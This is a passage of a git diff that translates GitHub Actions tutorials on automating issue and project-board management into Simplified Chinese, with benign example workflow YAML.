+2. 要查看通过创建议题所触发的工作流程运行，请查看工作流程运行的历史记录。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
+3. 当工作流程完成时，您创建的议题应已添加指定的标签。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like removing labels or skipping this action if the issue is assigned or has a specific label, see the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- To learn more about different events that can trigger your workflow, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#issues)." The `andymckay/labeler` action only works on `issues`, `pull_request`, or `project_card` events.
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- 要详细了解可以使用 `andymckay/labeler` 操作执行的其他事务，如删除标签或者在议题分配或具有特定标签时跳过此操作，请访问 [`andymckay/labeler` 操作文档](https://github.com/marketplace/actions/simple-issue-labeler)。
+- 要详细了解可触发您工作流程的不同事件的信息，请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#issues)”。 `andymckay/labeler` 操作只适用于 `issues`、`pull_request` 或 `project_card` 事件。
+- [搜索 GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) 以查看使用此操作的工作流程示例。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
index fe86fe79e4..ccb5ed20dc 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Closing inactive issues
-intro: 'You can use {% data variables.product.prodname_actions %} to comment on or close issues that have been inactive for a certain period of time.'
+title: 关闭不活跃的议题
+intro: '您可以使用 {% data variables.product.prodname_actions %} 评论或关闭在一定时间内未活动的议题。'
 redirect_from:
   - /actions/guides/closing-inactive-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues) to comment on and close issues that have been inactive for a certain period of time. For example, you can comment if an issue has been inactive for 30 days to prompt participants to take action. Then, if no additional activity occurs after 14 days, you can close the issue.
+本教程演示了如何使用 [`actions/stale` 操作](https://github.com/marketplace/actions/close-stale-issues)来评论和关闭已经停用一段时间的议题。 例如，如果某个议题 30 天内未活动，您可以添加评论以促使参与者采取行动。 然后，如果 14 天后没有其他活动发生，您可以关闭此议题。
 
-In the tutorial, you will first make a workflow file that uses the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`actions/stale` 操作](https://github.com/marketplace/actions/close-stale-issues)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
     name: Close inactive issues
@@ -54,26 +54,26 @@ In the tutorial, you will first make a workflow file that uses the [`actions/sta
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every day at 1:30 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `days-before-issue-stale` to the number of days without activity before the `actions/stale` action labels an issue. If you never want this action to label issues, set this value to `-1`.
-   - Change the value for `days-before-issue-close` to the number of days without activity before the `actions/stale` action closes an issue. If you never want this action to close issues, set this value to `-1`.
-   - Change the value for `stale-issue-label` to the label that you want to apply to issues that have been inactive for the amount of time specified by `days-before-issue-stale`.
-   - Change the value for `stale-issue-message` to the comment that you want to add to issues that are labeled by the `actions/stale` action.
-   - Change the value for `close-issue-message` to the comment that you want to add to issues that are closed by the `actions/stale` action.
+4. 自定义工工作流程文件中的参数：
+   - 更改 `on.schedule` 的值以指示您希望此工作流程何时运行。 在上面的示例中，工作流将于每天 1:30 UTC 运行。 有关计划工作流程的更多信息，请参阅“[计划的活动](/actions/reference/events-that-trigger-workflows#scheduled-events)”。
+   - 将 `days-before-issue-stale` 的值更改为在 `actions/stale` 操作标记议题之前无活动的天数。 如果您不希望此操作标记议题，将此值设置为 `-1`。
+   - 将 `days-before-issue-close` 的值更改为在 `actions/stale` 操作关闭议题之前无活动的天数。 如果您不希望此操作关闭议题，将此值设置为 `-1`。
+   - 将 `stale-issue-label` 的值更改为您想要应用到 `days-before-issue-stale` 指定的时间内未活动的议题的标签。
+   - 将 `stale-issue-message` 的值更改为您想要添加到 `actions/stale` 操作标记的议题的评论。
+   - 将 `close-issue-message` 的值更改为您想要添加到 `actions/stale` 操作关闭的议题的评论。
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## 预期结果
 
-Based on the `schedule` parameter (for example, every day at 1:30 UTC), your workflow will find issues that have been inactive for the specified period of time and will add the specified comment and label. Additionally, your workflow will close any previously labeled issues if no additional activity has occurred for the specified period of time.
+根据 `schedule` 参数（例如，每天 1:30 UTC），您的工作流程将发现在指定时间段内处于非活动状态的议题，并将添加指定的评论和标签。 此外，如果在指定时间段内未发生其他活动，您的工作流程将关闭任何以前标记的议题。
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+您可以查看工作流程运行的历史记录，以便定期查看此工作流程运行。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
 
-This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. You can configure this with the `operations-per-run` setting. For more information, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
+为了避免超过速率限制，此工作流程将一次只标记和/或关闭 30 个议题。 您可以使用 `operations-per-run` 设置配置此项。 更多信息请参阅 [`actions/stale` 操作文档](https://github.com/marketplace/actions/close-stale-issues)。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `actions/stale` action, like closing inactive pull requests, ignoring issues with certain labels or milestones, or only checking issues with certain labels, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) for examples of workflows using this action.
+- 要详细了解可以使用 `actions/stale` 操作执行的其他事务，如关闭非活动的拉取请求、忽略包含某些标签或里程碑的议题，或只检查包含特定标签的议题，请参阅 [`actions/stale` 操作文档](https://github.com/marketplace/actions/close-stale-issues)。
+- [搜索 GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) 以查看使用此操作的工作流程示例。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
index 43f42b40ce..9272a2b045 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
@@ -1,6 +1,6 @@
 ---
-title: Commenting on an issue when a label is added
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically comment on issues when a specific label is applied.'
+title: 添加标签时评论议题
+intro: '您可以使用 {% data variables.product.prodname_actions %} 在应用特定标签时自动评论议题。'
 redirect_from:
   - /actions/guides/commenting-on-an-issue-when-a-label-is-added
 versions:
@@ -12,23 +12,23 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Add label to comment on issue
+shortTitle: 添加标签以评论议题
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment) to comment on an issue when a specific label is applied. For example, when the `help-wanted` label is added to an issue, you can add a comment to encourage contributors to work on the issue.
+本教程演示如何使用 [`peter-evans/create-or update-` 操作](https://github.com/marketplace/actions/create-or-update-comment)在应用特定标签时评论议题。 例如，当 `help-wanted` 标签添加到议题中后，您可以添加评论来鼓励贡献者处理该议题。
 
-In the tutorial, you will first make a workflow file that uses the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`peter-evans/create-or-update-comment` 操作](https://github.com/marketplace/actions/create-or-update-comment)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,25 +50,25 @@ In the tutorial, you will first make a workflow file that uses the [`peter-evans
             with:
               issue-number: {% raw %}${{ github.event.issue.number }}{% endraw %}
               body: |
-                This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles:
+                This issue is available for anyone to work on. **请确保在您的拉请求中引用此议题。** :sparkles: 谢谢您的贡献！ :sparkles:
     ```
 
-4. Customize the parameters in your workflow file:
-   - Replace `help-wanted` in `if: github.event.label.name == 'help-wanted'` with the label that you want to act on. If you want to act on more than one label, separate the conditions with `||`. For example, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` will comment whenever the `bug` or `fix me` labels are added to an issue.
-   - Change the value for `body` to the comment that you want to add. GitHub flavored markdown is supported. For more information about markdown, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
+4. 自定义工工作流程文件中的参数：
+   - 将 `if: github.event.label.name == 'help-wanted'` 中的 `help-wanted` 替换为您想要操作的标签。 如果您想要操作多个标签，请用 `||` 分隔条件。 例如，只要 `bug` 或 `fix me` 标签添加到议题，`if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` 就会评论。
+   - 将 `body` 的值更改为您想要添加的评论。 支持 GitHub Flavored Markdown。 有关 Markdown 的更多信息，请参阅“[基本撰写和格式语法](/github/writing-on-github/basic-writing-and-formatting-syntax)”。
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## 测试工作流程
 
-Every time an issue in your repository is labeled, this workflow will run. If the label that was added is one of the labels that you specified in your workflow file, the `peter-evans/create-or-update-comment` action will add the comment that you specified to the issue.
+每当仓库中的问题被标记时，此工作流就会运行。 如果添加的标签是您在工作流程文件中指定的标签之一，`peter-evans/create-or update-comment` 操作将添加您指定的评论到此议题。
 
-Test your workflow by applying your specified label to an issue.
+通过将指定的标签应用于议题来测试工作流程。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the specified label in your workflow file. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. To see the workflow run triggered by labeling the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you labeled should have a comment added.
+1. 在仓库中打开一个议题。 更多信息请参阅“[创建议题](/github/managing-your-work-on-github/creating-an-issue)”。
+2. 使用工作流程文件中的指定标签标记议题。 更多信息请参阅“[管理标签](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)”。
+3. 要查看通过标记议题所触发的工作流程运行，请查看工作流程运行的历史记录。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
+4. 当工作流程完成时，您标记的议题应已添加评论。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `peter-evans/create-or-update-comment` action, like adding reactions, visit the [`peter-evans/create-or-update-comment` action documentation](https://github.com/marketplace/actions/create-or-update-comment).
+- 要详细了解您可以使用 `peter-evans/create-or-update-comment` 操作执行的其他事项，如添加反应，请访问 [`peter-evans/create-or-update-comment` 操作文档](https://github.com/marketplace/actions/create-or-update-comment)。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
index 693c78b6c6..4f60438d94 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: Moving assigned issues on project boards
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically move an issue to a specific column on a project board when the issue is assigned.'
+title: 在项目板上移动分配的议题
+intro: '您可以使用 {% data variables.product.prodname_actions %} 在议题被分配时自动将议题移到项目板上的特定列。'
 redirect_from:
   - /actions/guides/moving-assigned-issues-on-project-boards
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Move assigned issues
+shortTitle: 移动分配的议题
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation) to automatically move an issue to a specific column on a project board when the issue is assigned. For example, when an issue is assigned, you can move it into the `In Progress` column your project board.
+本教程演示如何使用 [`Alex-page/github-project-automation-plus` 操作](https://github.com/marketplace/actions/github-project-automation)在议题被分配时将议题自动移到项目板上的特定列。 例如，在分配议题时，您可以将其移入项目板的 `In Progress` 列。
 
-In the tutorial, you will first make a workflow file that uses the [`alex-page/github-project-automation-plus` action](https://github.com/marketplace/actions/github-project-automation). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`alex-page/github-project-automation-plus` 操作](https://github.com/marketplace/actions/github-project-automation)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
-2. In your repository, choose a project board. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. 在仓库中，选择项目板。 您可以使用现有项目，也可以创建新项目。 有关创建项目的更多信息，请参阅“[创建项目板](/github/managing-your-work-on-github/creating-a-project-board)”。
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,28 +50,28 @@ In the tutorial, you will first make a workflow file that uses the [`alex-page/g
               repo-token: {% raw %}${{ secrets.PERSONAL_ACCESS_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - Change the value for `project` to the name of your project board. If you have multiple project boards with the same name, the `alex-page/github-project-automation-plus` action will act on all projects with the specified name.
-   - Change the value for `column` to the name of the column where you want issues to move when they are assigned.
-   - Change the value for `repo-token`:
-     1. Create a personal access token with the `repo` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-     1. Store this personal access token as a secret in your repository. For more information about storing secrets, see "[Encrypted secrets](/actions/reference/encrypted-secrets)."
-     1. In your workflow file, replace `PERSONAL_ACCESS_TOKEN` with the name of your secret.
+5. 自定义工工作流程文件中的参数：
+   - 将 `project` 的值更改为您的项目板的名称。 如果您有多个具有相同名称的项目板， `Alex-page/github-project-automation-placement-plus` 将对所有具有指定名称的项目采取行动。
+   - 将 `column` 的值更改为您想要在议题分配时将议题移入其中的列名称。
+   - 更改 `repo-token` 的值：
+     1. 使用 `repo` 范围创建个人访问令牌。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
+     1. 将此个人访问令牌作为机密存储在仓库中。 有关存储机密的更多信息，请参阅“[加密密码](/actions/reference/encrypted-secrets)”。
+     1. 在您的工作流程文件中，将 `PERSONAL_ACCESS_TOKEN` 替换为您的机密名称。
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## 测试工作流程
 
-Whenever an issue in your repository is assigned, the issue will be moved to the specified project board column. If the issue is not already on the project board, it will be added to the project board.
+每当分配仓库中的议题时，议题将移到指定的项目板列。 如果议题尚未在项目板上，则将添加到项目板中。
 
-If your repository is user-owned, the `alex-page/github-project-automation-plus` action will act on all projects in your repository or user account that have the specified project name and column. Likewise, if your repository is organization-owned, the action will act on all projects in your repository or organization that have the specified project name and column.
+如果您的仓库是用户所有，则 `Alex-page/github-project-automation-plus` 操作将对仓库或用户帐户中具有指定项目名称和列的所有项目执行。 同样，如果您的仓库归组织所有，则该操作将对仓库或组织中具有指定项目名称和列的所有项目执行。
 
-Test your workflow by assigning an issue in your repository.
+通过在仓库中分配议题来测试工作流程。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Assign the issue. For more information, see "[Assigning issues and pull requests to other GitHub users](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)."
-3. To see the workflow run that assigning the issue triggered, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you assigned should be added to the specified project board column.
+1. 在仓库中打开一个议题。 更多信息请参阅“[创建议题](/github/managing-your-work-on-github/creating-an-issue)”。
+2. 分配议题。 更多信息请参阅“[分配议题和拉取请求到其他 GitHub 用户](/github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users)”。
+3. 要查看分配议题所触发的工作流程运行，请查看工作流程运行的历史记录。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
+4. 工作流程完成后，分配的议题应会添加到指定的项目板列中。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation).
+- 要详细了解您可以使用 `alex-page/github-project-automation-plus` 操作执行的其他事项，如删除或存档项目卡，请访问 [`alex-page/github-project-automation-plus` 操作文档](https://github.com/marketplace/actions/github-project-automation)。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
index d28c687f5a..92eb3affa6 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a label when a card is added to a project board column
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically remove a label when an issue or pull request is added to a specific column on a project board.'
+title: 将卡片添加到项目板列时删除标签
+intro: '您可以使用 {% data variables.product.prodname_actions %} 在议题或拉取请求添加到项目板上的特定列时自动删除标签。'
 redirect_from:
   - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Remove label when adding card
+shortTitle: 添加卡片时删除标签
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) along with a conditional to remove a label from issues and pull requests that are added to a specific column on a project board. For example, you can remove the `needs review` label when project cards are moved into the `Done` column.
+本教程演示如何使用 [`andymckay/labeler` 操作](https://github.com/marketplace/actions/simple-issue-labeler)以及条件从议题中删除添加到项目板上特定列中的标签和拉取请求。 例如，您可以在项目卡移到 `Done` 列时删除 `needs review` 标签。
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`andymckay/labeler` 操作](https://github.com/marketplace/actions/simple-issue-labeler)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
-2. Choose a project that belongs to the repository. This workflow cannot be used with projects that belong to users or organizations. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. 选择属于仓库的项目。 此工作流程不能用于属于用户或组织的项目。 您可以使用现有项目，也可以创建新项目。 有关创建项目的更多信息，请参阅“[创建项目板](/github/managing-your-work-on-github/creating-a-project-board)”。
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -54,28 +54,28 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - In `github.event.project_card.column_id == '12345678'`, replace `12345678` with the ID of the column where you want to un-label issues and pull requests that are moved there.
+5. 自定义工工作流程文件中的参数：
+   - 在 `github.event.project_card.column_id = "12345678"`中，将 `12345678` 替换为要取消标记移至其中的议题和拉取请求的列 ID。
 
-    To find the column ID, navigate to your project board. Next to the title of the column, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} then click **Copy column link**. The column ID is the number at the end of the copied link. For example, `24687531` is the column ID for `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
+    要查找列 ID，请导航到您的项目板。 在列标题旁边，请单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Copy column link（复制列链接）**。 列 ID 是复制的链接末尾的数字。 例如，`24687531` 是 `https://github.com/octocat/octo-repo/projects/1#column-24687531` 的列 ID。
 
-     If you want to act on more than one column, separate the conditions with `||`. For example, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` will act whenever a project card is added to column `12345678` or column `87654321`. The columns may be on different project boards.
-   - Change the value for `remove-labels` to the list of labels that you want to remove from issues or pull requests that are moved to the specified column(s). Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information on labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+     如果您想要在多个列上操作，请用 `||` 分隔条件。 例如，只要项目卡添加到列 `12345678` 或列 `87654321`，就会使用 `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'`。 这些列可能在不同的项目板上。
+   - 将 `remove-labels` 的值更改为您想要从移至指定列的议题或拉请求中删除的标签列表。 使用逗号分隔多个标签。 例如 `"help wanted, good first issue"`。 有关标签的更多信息，请参阅“[管理标签](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)”。
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## 测试工作流程
 
-Every time a project card on a project in your repository moves, this workflow will run. If the card is an issue or a pull request and is moved into the column that you specified, then the workflow will remove the specified labels from the issue or a pull request. Cards that are notes will not be affected.
+每次仓库中项目上的项目卡移动时，此工作流程都会运行。 如果卡是议题或拉取请求，并移入您指定的列，则工作流程将从问题或拉取请求中删除指定的标签。 记事卡不会受到影响。
 
-Test your workflow out by moving an issue on your project into the target column.
+通过将项目上的议题移到目标列中来测试工作流程。
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the labels that you want the workflow to remove. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. Add the issue to the project column that you specified in your workflow file. For more information, see "[Adding issues and pull requests to a project board](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)."
-4. To see the workflow run that was triggered by adding the issue to the project, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-5. When the workflow completes, the issue that you added to the project column should have the specified labels removed.
+1. 在仓库中打开一个议题。 更多信息请参阅“[创建议题](/github/managing-your-work-on-github/creating-an-issue)”。
+2. 用标签标记您想要工作流程删除的议题。 更多信息请参阅“[管理标签](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)”。
+3. 将议题添加到您在工作流程文件中指定的项目列。 更多信息请参阅“[添加议题和拉取请求到项目板](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)”。
+4. 要查看通过将议题添加到项目所触发的工作流程运行，请查看工作流程运行的历史记录。 更多信息请参阅“[查看工作流程运行历史记录](/actions/managing-workflow-runs/viewing-workflow-run-history)”。
+5. 当工作流程完成时，您添加到项目列的议题应已删除指定的标签。
 
-## Next steps
+## 后续步骤
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like adding labels or skipping this action if the issue is assigned or has a specific label, visit the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- 要详细了解可以使用 `andymckay/labeler` 操作执行的其他事务，如添加标签或者在议题分配或具有特定标签时跳过此操作，请访问 [`andymckay/labeler` 操作文档](https://github.com/marketplace/actions/simple-issue-labeler)。
+- [搜索 GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) 以查看使用此操作的工作流程示例。
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
index eb41b3c838..1455b25742 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
@@ -1,6 +1,6 @@
 ---
-title: Scheduling issue creation
-intro: 'You can use {% data variables.product.prodname_actions %} to create an issue on a regular basis for things like daily meetings or quarterly reviews.'
+title: 计划议题的创建
+intro: '您可以使用 {% data variables.product.prodname_actions %} 定期为日常会议或季度审查等事项创建议题。'
 redirect_from:
   - /actions/guides/scheduling-issue-creation
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action) to create an issue on a regular basis. For example, you can create an issue each week to use as the agenda for a team meeting.
+本教程演示如何使用 [`imjohnbo/issue-bot` 操作](https://github.com/marketplace/actions/issue-bot-action)定期创建议题。 例如，您可以每周创建一个议题，用作团队会议的议程。
 
-In the tutorial, you will first make a workflow file that uses the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`imjohnbo/issue-bot` 操作](https://github.com/marketplace/actions/issue-bot-action)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -57,7 +57,7 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
                 - [ ] Check-ins
                 - [ ] Discussion points
                 - [ ] Post the recording
-                        
+
                 ### Discussion Points
                 Add things to discuss below
 
@@ -68,25 +68,25 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
               GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every Monday at 7:20 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `assignees` to the list of {% data variables.product.prodname_dotcom %} usernames that you want to assign to the issue.
-   - Change the value for `labels` to the list of labels that you want to apply to the issue.
-   - Change the value for `title` to the title that you want the issue to have.
-   - Change the value for `body` to the text that you want in the issue body. The `|` character allows you to use a multi-line value for this parameter.
-   - If you want to pin this issue in your repository, set `pinned` to `true`. For more information about pinned issues, see "[Pinning an issue to your repository](/articles/pinning-an-issue-to-your-repository)."
-   - If you want to close the previous issue generated by this workflow each time a new issue is created, set `close-previous` to `true`. The workflow will close the most recent issue that has the labels defined in the `labels` field. To avoid closing the wrong issue, use a unique label or combination of labels.
+4. 自定义工工作流程文件中的参数：
